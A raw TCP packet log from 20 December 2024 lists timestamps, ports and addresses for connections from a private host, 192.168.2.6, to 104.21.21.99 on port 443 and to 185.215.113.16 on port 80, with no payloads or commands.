Dec 20, 2024 17:17:30.970431089 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:30.970499039 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:30.970585108 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:30.971131086 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:30.971146107 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.205054998 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.205153942 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.206473112 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.206487894 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.207226038 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.208524942 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.209362030 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.209397078 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.209516048 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.209544897 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.209713936 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.209753036 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.209898949 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.209939003 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.210103035 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.210133076 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.210757971 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.210797071 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.210808992 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.210814953 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.210946083 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.210980892 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.211013079 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.211142063 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.211180925 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.251331091 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.251519918 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.251565933 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.251593113 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.251610994 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:32.251646042 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:32.251673937 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:39.669933081 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:39.670067072 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:39.670361042 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:39.675184965 CET	49782	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:39.675200939 CET	443	49782	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:39.710947037 CET	49803	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:39.711003065 CET	443	49803	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:39.711111069 CET	49803	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:39.711533070 CET	49803	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:39.711549044 CET	443	49803	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:40.926521063 CET	443	49803	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:40.926592112 CET	49803	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:40.928002119 CET	49803	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:40.928023100 CET	443	49803	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:40.928297997 CET	443	49803	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:40.929620028 CET	49803	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:40.929620028 CET	49803	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:40.929693937 CET	443	49803	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:41.770392895 CET	443	49803	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:41.770528078 CET	443	49803	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:41.770591021 CET	49803	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:41.772001028 CET	49803	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:41.772001028 CET	49803	443	192.168.2.6	104.21.21.99
Dec 20, 2024 17:17:41.772034883 CET	443	49803	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:41.772052050 CET	443	49803	104.21.21.99	192.168.2.6
Dec 20, 2024 17:17:41.785351992 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:41.905025005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:41.905112982 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:41.905440092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:42.025232077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.251642942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.251661062 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.251672983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.251739025 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.251799107 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.251811981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.251823902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.251840115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.251847029 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.251880884 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.252286911 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.252300024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.252311945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.252326965 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.252345085 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.371507883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.371546984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.371628046 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.443658113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.443675041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.443797112 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.447815895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.447829962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.447907925 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.456442118 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.456456900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.456533909 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.464577913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.464592934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.464647055 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.473126888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.473141909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.473196030 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.481415033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.481430054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.481499910 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.489784002 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.489798069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.489861012 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.498178959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.498193026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.498239994 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.506570101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.506584883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.506633043 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.515042067 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.515064001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.515127897 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.523322105 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.523369074 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.523776054 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.635648966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.635687113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.635756016 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.638075113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.638390064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.638432980 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.643070936 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.643187046 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.643239975 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.648264885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.648282051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.648336887 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.653176069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.653230906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.653341055 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.658174038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.658236980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.658314943 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.663054943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.663140059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.663186073 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.667948008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.667963028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.668003082 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.672785997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.672801971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.673386097 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.677531004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.677593946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.677643061 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.682379007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.682545900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.682590961 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.687283993 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.687300920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.687344074 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.692193031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.692208052 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.692286968 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.697271109 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.697283983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.697339058 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.701850891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.701993942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.702039957 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.706604004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.706757069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.706789970 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.711421013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.711589098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.711633921 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.716480970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.717941046 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.718008041 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.721157074 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.721198082 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.721251011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.725923061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.726078987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.726119041 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.755377054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.756442070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.756490946 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.758449078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.807985067 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.827723026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.827739000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.827840090 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.828928947 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.829077005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.829135895 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.832921982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.832936049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.832978010 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.836721897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.836889982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.836930990 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.840862036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.840877056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.840934992 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.844805002 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.844819069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.844877005 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.848548889 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.848561049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.848614931 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.852350950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.852730989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.852857113 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.856050968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.856312037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.856348991 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.859508991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.859774113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.859811068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.863115072 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.863426924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.863473892 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.866672993 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.866986990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.867034912 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.870142937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.871360064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.871772051 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.873634100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.874154091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.874201059 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.877274036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.877288103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.877347946 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.881058931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.881127119 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.881227016 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.884402990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.884414911 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.884475946 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.886425018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.886457920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.886502028 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.888617992 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.888631105 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.888675928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.890693903 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.890909910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.890959978 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.893023014 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.893033981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.893515110 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.895143986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.895422935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.895462990 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.897072077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.897083998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.897121906 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.899122953 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.899135113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.899199009 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.901290894 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.901303053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.901350021 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.903405905 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.903418064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.903462887 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.905498028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.905508995 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.905554056 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.907500029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.909638882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.909657001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.909683943 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.910840034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.911022902 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.911844015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.911858082 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.911900997 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.914083958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.914099932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.914154053 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.916065931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.916081905 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.916137934 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.918387890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.918402910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.918458939 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.920392990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.920833111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.920871019 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.922734976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.922765017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.922808886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.924508095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.924520016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.924578905 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:43.926558971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:43.979862928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.019524097 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.019546986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.019618988 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.020001888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.020137072 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.020417929 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.022089958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.022206068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.022260904 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.024162054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.024262905 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.024302006 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.026246071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.026350975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.026439905 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.028218985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.028327942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.028373957 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.030189037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.030246019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.030301094 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.032197952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.032279015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.032310963 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.033936024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.034058094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.034104109 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.035859108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.036025047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.036078930 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.037651062 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.037731886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.037779093 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.039411068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.039520025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.039822102 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.041230917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.041275978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.041325092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.042845964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.042948008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.043605089 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.044543028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.044640064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.044693947 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:44.046216965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:44.046282053 CET	80	49809	185.215.113.16	192.168.2.6
